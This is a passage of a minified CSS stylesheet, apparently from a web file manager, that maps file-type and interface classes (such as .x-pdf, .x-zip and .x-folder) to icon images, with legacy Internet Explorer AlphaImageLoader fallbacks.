\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none 